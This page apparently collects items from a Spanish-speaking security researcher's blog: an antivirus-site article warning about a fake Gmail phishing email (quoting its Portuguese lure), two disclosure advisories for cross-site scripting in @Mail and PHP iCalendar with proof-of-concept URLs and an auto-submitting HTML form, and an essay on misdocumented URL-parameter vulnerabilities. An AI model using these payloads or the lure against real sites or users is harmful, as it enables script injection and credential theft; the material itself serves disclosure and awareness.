Correo falso de Gmail pretende engañar a sus usuarios

Lostmon nos reporta la divulgación de un correo fraudulento,

que pretende apoderarse de las contraseñas de los usuarios del

correo de Gmail, además de descargar un archivo malicioso.

Si bien el sitio ya ha sido cerrado, es bueno estar siempre atentos

a este tipo de engaños, ya que es muy común que con pequeñas

variantes, vuelvan a reiterarse periódicamente.

En este caso, el mensaje ha sido distribuido en forma de spam,

simulando provenir de Gmail. El mismo informa que "debido al

aumento de virus en las redes," nuestra cuenta va a ser cancelada

a menos que descarguemos y ejecutemos una herramienta que

supuestamente "nos liberará de estas alimañas".

--- Parte del texto del mensaje original ---

Gmail Informativa sulla Privacy
Pol?tica de Privacidade do Gmail

31 de janeiro de 2007

Para que continue a usar o nosso servi?o Gmail, antes de entrar

no seu e-mail ou Orkut ter? que baixa nosso arquivo de seguran?a,

devido a grande n?meros de v?rus na rede, caso desconsidere este

aviso automaticamente e-mail cancelado

em ate 30 dias ?teis pelo nosso sistema.

Según el examen de Lostmon, los enlaces y otras direcciones en el

mensaje, apuntan a dominios que nada tienen que ver con Gmail,

pero la construcción del correo y los sitios falsos, han sido

cuidadosamente elaborados para simular ser los de Google.

El origen del spam parece ser Brasil, las páginas falsas estaban

alojadas en servidores gratuitos, mientras la falsa herramienta

se descargaba desde un servidor ruso (dicho archivo ya no existe).

Este tipo de mensaje, también suele ser utilizado para la distribución

de troyanos como el Win32/Spy.Banker, malware capaz de robar

información confidencial relacionada con las cuentas bancarias de

quienes caen en el engaño.

Como siempre, se recomienda no seguir enlaces ni abrir adjuntos

de mensajes que no hayan sido solicitados, sin importar su origen.


Más información:

Nuevamente los usuarios de Gmail están en peligro

http://groups.google.com/group/lostmon/

http://groups.google.com/group/lostmon/
browse_thread/thread/da8453d7e73d6e97

Articlulo redactado por Angela Ruiz (angela@videosoft.net.uy)

Url del articulo: http://vsantivirus.com/spam-gmail-27-02-07.htm
(c) Video Soft - http://www.videosoft.net.uy
(c) VSAntivirus - http://www.vsantivirus.com

@Mail Search.pl keywords variable cross-site scripting

#########################################################
@Mail Search.pl keywords variable cross-site scripting
vendor url:http://www.atmail.com
Advisory:http://lostmon.blogspot.com/2007/02/
mail-searchpl-keywords-variable-cross.html
vendor notify:yes exploit available: yes
Secunia: SA24155
BID:22552
FrSIRT:ADV-2007-0603
#########################################################


@Mail is a feature rich Email solution that allows users to access
email-resources via the web or a variety of wireless devices. The
software incorporates a complete email-server package to manage
and host user email at your domain(s)


@Mail contains a flaw that allows a remote cross site scripting
attack.This flaw exists because the application does not validate
user input in search form in html/[languaje folder]/help/search.html
upon submision to search.pl script the keywords variable are afected
by this flaw uopn submision to search.pl script too.This could
allow a user to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust relationship
between the browser and the server, leading to a loss of integrity.


#############
versions
#############
All of this versions Are vulnerables:

@mail 4.61
@mail 4.6
@mail 4.51
@Mail 4.03 WebMail for Windows
@Mail 4.11 - Linux / FreeBSD / Solaris / HP-UX / OS-X /

it is also posible other versions are vulnerable.

#################
solution
#################

no solution was available at this time !!!

#################
Timeline
#################

Discovered:02-07-2005
vendor notify:11-02-2007
vendor response:--------
disclosure: 13-02-2007


###############
Examples
###############

go to :

http://localhost/parse.pl?file=html/english/help/search.html

and insert in the search form this script:

"><script>alert(document.forms.keywords)</script>

or exploit directly to search.pl

http://localhost/search.pl?func=searchhelp&keywords=
"><script>alert(document.forms.keywords)</script>&Submit2=Search

######################## €nd ##########################

Thnx to estrella to be my ligth

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon/ (new)
--
La curiosidad es lo que hace mover la mente....

PHP icalendar multiple variable cross site scripting

#####################################################
PHP icalendar multiple variable cross site scripting
Vendor url:http://phpicalendar.net/
Advisore:http://lostmon.blogspot.com/2006/12/
php-icalendar-multiple-variable-cross.html
Vendor notify: YES Exploit included:YES
OSVDB ID:32493,32494,32495,32496,32497,32498,32499,32500
Securitytracker:1017449
Secunia:SA23499
BID:21792
#####################################################


PHP icalendar contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does
not validate multiple params upon submission to multiple scripts.
This could allow a user to create a specially crafted URL that
would execute arbitrary code in a user's browser within the
trust relationship between the browser and the server, leading
to a loss of integrity.

######################
versions
######################

all of this versions have been tested
Posible other versions are prone vulnerables.

PHP iCalendar 2.23 rc1
PHP iCalendar 2.22
PHP icalendar 2.0 Beta
PHP iCalendar 1.1

######################
Solution:
######################

No solution was available at this time!!

##################
Time Line
##################

Discovered:20-12-2006
Vendor notify:25-12-2006
Vendor response:
Disclosure:27-12-2006

###################
EXAMPLES & PoC
###################

http://localhost/phpicalendar/day.php?cal=
all_calendars_combined971&getdate=
20061225"><script>alert()</script>

http://localhost/phpicalendar/month.php?cal=
all_calendars_combined971&getdate=20061225
"><script>alert()</script>

http://localhost/phpicalendar/year.php?cal=
all_calendars_combined971&getdate=20061225
"><script>alert()</script>

http://localhost/phpicalendar/week.php?cal=
all_calendars_combined971&getdate=20061225
"><script>alert()</script>

http://localhost/phpicalendar/day.php?cpath=
%22%3E%3Cscript%3Edocument.write(document.domain)
%3C/script%3E&getdate=20061225&cal%5B%5D=
Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work


http://localhost/phpicalendar/month.php?cpath=
%22%3E%3Cscript%3Edocument.write(document.domain
)%3C/script%3E&getdate=20061225&cal%5B%5D
=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work


http://localhost/phpicalendar/year.php?cpath=
%22%3E%3Cscript%3Edocument.write(document.domain)
%3C/script%3E&getdate=20061225&cal%5B%5D=
Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work


http://localhost/phpicalendar/week.php?cpath=
%22%3E%3Cscript%3Edocument.write(document.domain)
%3C/script%3E&getdate=20061225&cal%5B%5D=
Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work


----


http://localhost/phpicalendar/search.php?cpath=
&cal=Home%2CUS%2BHolidays%2CWork&getdate=
19700102&query=ss"><script>alert()</script>&submit.x=11&submit.y=15


http://localhost/phpicalendar/search.php?cpath=
"><script>alert()</script>&
cal=Home%2CUS%2BHolidays2CWork&getdate=
19700102&query=ss&submit.x=11&submit.y=12



http://localhost/phpicalendar/search.php?cpath=&
cal=Home%2CUS%2BHolidays%2CWork&getdate=19700102
"><script>alert()</script>&
query=ss&submit.x=11&submit.y=12

----

http://localhost/phpicalendar/rss/index.php?cal=Home
,US+Holidays,Work&getdate=20061225"><
script>alert()</script>

http://localhost/phpicalendar/print.php?cal=Home,
US+Holidays,Work&getdate=20061225%22%3E%3Cscr
ipt%3Ealert()%3C/script%3E&printview=day

################################
Proof of concept for preferences
################################

Multiple param XSS in preferences.php

Use the proof and modify some params
create a evil cookie before submit :)

http://localhost/phpicalendar/preferences.php?cal=
Home,US+Holidays,Work&getdate=20061227%22%3E%3
Cscript%3Ealert()%3C/script%3E


<html>
<head></head>
<body>
<title>PHP icalendar XSS in preferences.php PoC</title>
<p><a href="http://phpicalendar.net/" target="_BLANK">PHP
icalendar</a> <= 2.23 rc1 preferences.php XSS Proof Of concept By <a
href="http://Lostmon.blogspot.com" target="_BLANK">Lostmon</a></p>
<p>Modify the target host , by default http://localhost/</P>
<br /><br /><form method='post'
action='http://localhost/phpicalendar/preferences.php?action=setcookie'>
cookie_language: <input input='text' value='Spanish'
name='cookie_language' style='width: 80%' /><br>
cookie_calendar: <input input='text'
value='all_calendars_combined971' name='cookie_calendar' style='width:
80%' /><br>
cpath: <input input='text'
value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;'
name='cpath' style='width: 80%' /><br>
cookie_view: <input input='text' value='day' name='cookie_view'
style='width: 80%' /><br>
cookie_time: <input input='text' value='0700' name='cookie_time'
style='width: 80%' /><br>
cookie_startday: <input input='text' value='Sunday'
name='cookie_startday' style='width: 80%' /><br>
cookie_style: <input input='text' value='default' name='cookie_style'
style='width: 80%' /><br>
unset: <input input='text'
value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;'
name='unset' style='width: 80%' /><br>
set: <input input='text'
value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;'
name='set' style='width: 80%' /><br>
<input type='submit' value='submit' /><br>
</form><hr />
<textarea style='width: 80%; height: 50%;'>
<form method='post'
action='http://localhost/phpicalendar/preferences.php?action=setcookie'>
cookie_language: <input input='text' value='Spanish'
name='cookie_language' style='width: 80%' /><br>
cookie_calendar: <input input='text'
value='all_calendars_combined971' name='cookie_calendar' style='width:
80%' /><br>
cpath: <input input='text'
value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;'
name='cpath' style='width: 80%' /><br>

cookie_view: <input input='text' value='day' name='cookie_view'
style='width: 80%' /><br>
cookie_time: <input input='text' value='0700' name='cookie_time'
style='width: 80%' /><br>
cookie_startday: <input input='text' value='Sunday'
name='cookie_startday' style='width: 80%' /><br>
cookie_style: <input input='text' value='default' name='cookie_style'
style='width: 80%' /><br>
unset: <input input='text'
value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;'
name='unset' style='width: 80%' /><br>
set: <input input='text'
value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;'
name='set' style='width: 80%' /><br>
<input type='submit' value='submit' /><br>
</form>
&lt;script&gt;
document.forms[0].submit()
&lt;/script&gt;
</textarea>
</body>
</html>
 

######################## €nd #####################

Thnx to Estrella to be my ligth.

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....

Indexacion de vulnerabilidades

########################################
Indexacion de algunas vulnerabilidades
########################################

En los últimos años, después de profundizar en la forma, en que
las nuevas vulnerabilidades son descubiertas y publicadas, desde
el punto de vista de aquel que las descubre, y las publica.

Cual es en si el proceso que se sigue, desde que esa vulnerabilidad
es descubierta, hasta que es publicada por las numerosas listas de
seguridad, cómo son añadidas a las bases de datos de esas listas,
cómo se documentan, y por ultimo como son publicadas, se me
ocurren varias consideraciones a tener en cuenta…

Se ha intentado durante mucho tiempo una estandarización,
para poder clasificar los archivos de fallas, de una manera
en la cual fuese fácil reconocerlas (causa del mismo), saber
el tipo de ataque que puede llevarse a cabo (Impacto) Y su
posible mitigación o solución.

Me gustaría hacer un inciso sobre todo en la forma en la que
se suelen tratar una serie de vulnerabilidades, las cuales
suelen ser explotables a través de la URL o en si digamos en
la modificación de los valores de alguna de las variables
o parámetros de la URL.

Las vulnerabilidades sobre las que me gustaría hacer un
comentario son las siguientes:

Cross-site Scripting, SQL injection, traversal arbitrary file access
y alguno que me dejo en el tintero.


Todos estos agujeros suelen ser explotados a través de la URL,
y casi todos hacen uso de las diferentes variables, pasadas
por la URL de una página a otra en las peticiones POST o GET
de un sitio Web.

Si tomamos por ejemplo una URL con varios parámetros en la
cual hubiese uno de ellos vulnerable...

http://[victim]/folder/file.php?var1=value1&var2=[XSS-CODE]
&var3=value3

Esta vulnerabilidad seria seguramente llamada...

[Producto afectado]+ [Nombre de la variable]+ [agujero]

Con lo cual diríamos que nuestro producto es vulnerable en
la variable var2 a un bug de tipo Cross site scripting.

Cuando esta vulnerabilidad llega a las listas de seguridad, estas hacen
eco de ella y le añaden el archivo afectado, si el descubridor no lo
especifica, con lo cual nuestra vulnerabilidad en su descripción diría
que el producto XXX es vulnerable en la variable var2 a cross site
scripting al ser enviada al archivo 'file.php'

¿Que pasaría si dicha variable no estuviera definida en esa pagina?
que viniese de otra pagina de la que hemos echo un POST o que
estuviese en otro archivo y este fuese incluido en la pagina que
supuestamente es la vulnerable?

Seguramente nos volveríamos locos a la hora de intentar localizar el
fallo y deberíamos mirar muchos mas archivos de los que en realidad
necesitamos para fijar esa vulnerabilidad en una determinada llamada
a la variable afectada.

Seguramente al desarrollador le costaría mas encontrar exactamente
el error, pues en si directamente le estamos dando información
incorrecta sobre donde se haya situada la vulnerabilidad al
facilitar un archivo donde supuestamente la variable falla.

Si ponemos como ejemplo un portal tipo PHP-NUKE el cual en
el ejemplo,la primera variable llama a un modulo, la segunda
proviene del modulo llamado.

http://[PHP-NUKE]/modules.php?name=News&new_topic=1

Si existiese una vulnerabilidad en la segunda variable, esta
igualmente seria descrita por las listas como variable
new_topic es vulnetable al ser enviada al archivo modules.php
pero esta vulnerabilidad podría venir(como casi siempre es seguro)
del archivo News.php situado en el directorio de módulos del PHP-NUKE.

El desarrollador seguramente fijaría esa variable en la página
mencionada, pero seguramente esa misma variable desde otro punto
del portal, seria también vulnerable por no haberlo corregido
directamente donde se inicializa esa variable o parámetro, con
lo cual en si esa vulnerabilidad podría dividirse en dos.

Si las listas de seguridad indicasen que la variable new_topic
es vulnerable a cross site scripting al ser enviada a modules.php
y esavariable esta definida en el archivo news.php…
¿no seria mas correcto decir que la variable new_topic es
vulnerable en los dos puntos en lugar de solo en el primero?

Este tipo de "errores" al documentar las vulnerabilidades puede
llevar a creer que muchas de las vulnerabilidades del tipo descrito,
pueden estar en las listas expuestas de forma incorrecta, o pueden
llevar a error, pues en si la mayoría de las veces la definición
de la misma es errónea.


--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....